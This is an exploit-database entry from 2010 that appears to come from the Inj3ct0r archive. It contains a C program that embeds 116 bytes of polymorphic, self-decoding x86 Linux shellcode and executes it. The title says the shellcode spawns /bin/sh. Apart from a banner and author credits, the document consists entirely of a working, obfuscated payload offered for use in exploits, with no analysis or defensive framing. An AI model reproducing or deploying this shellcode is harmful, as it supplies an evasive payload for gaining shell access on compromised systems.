116 bytes small polymorphic /bin/sh Linux / x86 shellcode.
7dd86cbe290368eb69d593cc1e2c0a757cf2052f44689215dbf16523fd5a534c
/*
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0 _ __ __ __ 1
1 /' \ __ /'__`\ /\ \__ /'__`\ 0
0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1
1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0
0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1
1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0
0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1
1 \ \____/ >> Exploit database separated by exploit 0
0 \/___/ type (local, remote, DoS, etc.) 1
1 1
0 [+] Site : Inj3ct0r.com 0
1 [+] Support e-mail : submit[at]inj3ct0r.com 1
0 0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
Title : Polymorphic /bin/sh x86 linux shellcode .
Name : 116 bytes /bin/sh x86 linux polymorphic shellcode .
Date : Tue Jun 29 22:08:59 WIT 2010 .
Author : gunslinger_ <yudha.gunslinger[at]gmail.com>
Web : http://devilzc0de.org
blog : http://gunslingerc0de.wordpress.com
tested on : linux debian
special thanks to : r0073r (inj3ct0r.com), d3hydr8 (darkc0de.com), ty miller (projectshellcode.com), jonathan salwan(shell-storm.org), mywisdom (devilzc0de.org), loneferret (offensive-security.com)
*/
#include <stdio.h>
char shellcode[] = "\xeb\x11\x5e\x31\xc9\xb1\xfa\x80\x6c\x0e\xff\x35\x80\xe9\x01"
"\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x20\x46\x93\x66\xfe\xe6"
"\x79\xb5\xa1\x43\x34\x6a\xb5\x1e\x36\xaa\x2b\x20\x3a\x1d\x1f"
"\x34\x34\x34\x93\x33\xed\x53\x5f\x43\x58\x43\xde\x8e\x5e\xc5"
"\xeb\xdd\x7d\x1a\x20\x1e\x04\xed\x55\x66\x4c\x5e\x44\x27\x56"
"\x6d\x4c\x3a\x46\x21\x3d\xa9\xbd\x5c\x09\x2f\x46\x04\x42\x03"
"\x40\x5d\x48\xa9\xc1\x32\xc2\x28\x1e\x04\x1a\x03\x40\x5d\x48"
"\x03\x31\x5c\x1a\x4b\x51\x7d\xbb\xe5\x9e\x04";
int main(void)
{
fprintf(stdout,"Length: %d\n",strlen(shellcode));
(*(void(*)()) shellcode)();
}